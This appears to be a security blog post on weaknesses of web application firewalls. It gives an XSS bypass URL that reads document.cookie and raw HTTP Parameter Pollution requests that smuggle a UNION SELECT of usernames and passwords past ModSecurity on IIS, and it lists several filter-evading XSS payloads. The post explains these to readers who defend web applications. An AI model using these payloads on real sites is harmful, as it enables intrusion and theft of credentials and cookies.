Archive for category Vulnerabilities & attacks

There is no single ideal system in the world, and this applies to Web application firewalls too (WAF’s).

While the advantages and positive features far outweigh the negative in WAF’s, one major problem is there are only a few action rules allowed. The white list is expanding, and requires more development efforts because it is very important to clearly establish allowed parameters.

The second major problem is that sometimes WAF vendors fail to update their signature definitions, or do not develop the required security rule on time, and this can put the web server at risk of attacks.

The first vulnerability is (http://www.security-database.com/detail.php?alert=CVE-2009-1593), which allows the inserting extra characters in the JavaScript close tag to bypass the XSS protection mechanisms. An example is shown below: http://testcases/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3

Another example (http://www.security-database.com/detail.php?alert=CVE-2009-1594) also allows remote attackers to bypass certain protection mechanisms via a %0A (encoded newline), as demonstrated by a %0A in a cross-site scripting (XSS) attack URL.

HTTP Parameter Pollution (HPP)

HPP was first developed by two Italian network experts, Luca Carettoni and Stefano diPaola. HPP provides an attacker the ability to submit new HTTP-parameters (POST, GET) with multiple input parameters (query string, post data, cookies, etc.) with same name.

The application may react in unexpected ways and open up new avenues of server-side and client-side exploitation. The most outstanding example is a vulnerability in IIS + ModSecurity which allows SQL-injection based attacks on two features:

1. IIS HTTP parameters submit the same name. for Example:

POST /index.aspx?a=1&a=2 HTTP/1.0
Host: www.example.com
Cookie: a=5;a=6
Content-type: text/plain
Content-Length: 7
Connection: close

a=3&a=4

If such a request to IIS/ASP.NET setting a (Request.Params["a"]) is equal to 1,2,3,4,5,6.

2. ModSecurity analyzes the request after that it has been already processed by webserver. And reject it: http://testcases/index.aspx?id=1+UNION+SELECT+username,password+FROM+users

However the query submitted:

POST /index.aspx?a=-1%20union/*&a=*/select/* HTTP/1.0
Host: www.example.com
Cookie: a=*/from/*;a=*/users
Content?Length: 21

a=*/name&a=password/*

The database as a result will do the correct query:

SELECT b, c FROM t WHERE a =- 1 /*,*/ UNION /*,*/ SELECT /*,*/ username, password /*,*/ FROM /*,*/ users

XSS

Cross Site Scripting (XSS) is probably the best method for exploiting the Web application firewall (WAF). This is due to JavaScript’s flexibility. At the BlackHat conference, there were a large number of methods to trick filters. For example:

object data=”javascript:alert(0)”
isindex action=javascript:alert(1) type=image
img src=x:alert(alt) onerror=eval(src) alt=0
x:script xmlns:x=”http://www.w3.org/1999/xhtml” alert (‘xss’); x: script

More XSS information can be found on the following links:

– http://ha.ckers.org/xss.html

– http://sla.ckers.org/forum/list.php?24

– http://maliciousmarkup.blogspot.com/

New developments in Web Application Firewalls is forthcoming. However, sometimes it seems that everything has already been discovered, and that it makes no sense to search for something new, but there is always room for new research.

It is very important to look at all details of the WAF to ensure you have a clear vision of your security assets.

make sure you subscribe to my RSS feed!